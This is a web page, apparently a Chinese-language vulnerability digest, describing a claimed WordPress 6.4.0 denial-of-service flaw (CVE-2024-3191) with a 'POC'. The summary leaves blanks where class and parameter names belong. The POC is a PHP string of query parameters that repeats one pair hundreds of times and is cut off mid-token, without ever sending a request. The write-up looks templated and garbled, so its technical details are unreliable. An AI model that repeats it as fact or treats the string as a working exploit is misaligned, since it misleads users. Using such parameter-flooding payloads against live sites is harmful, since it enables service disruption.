WordPress 6.4.0 DoS via Quadratic Query String Abuse (CVE-2024-3191) with POC

漏洞概述 漏洞名称: 防止二次查询滥用（Prevent quadratic query string abuse） 漏洞编号: CVE-2024-3191 漏洞类型: 拒绝服务（DoS） 漏洞描述: 该漏洞允许攻击者通过构造特定的查询字符串，导致WordPress核心在处理查询时产生二次方复杂度的计算，从而引发拒绝服务攻击。 影响范围 受影响版本: WordPress 6.4.0 及更早版本 修复版本: WordPress 6.4.1 修复方案 修复方法: 更新到WordPress 6.4.1或更高版本。 修复内容: 在 类中添加了新的参数 ，默认值为 ，用于防止二次查询滥用。 POC代码或利用代码 ```php // 示例POC代码 <?php // 构造恶意查询字符串 $query_string = 's=1&post_type=1&post_status=1&paged=1&posts_per_page=1&orderby=1&order=1&meta_key=1&meta_value=1&meta_compare=1&meta_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&met

Goal Reached Thanks to every supporter — we hit 100%!

WordPress 6.4.0 DoS via Quadratic Query String Abuse (CVE-2024-3191) with POC

More from this source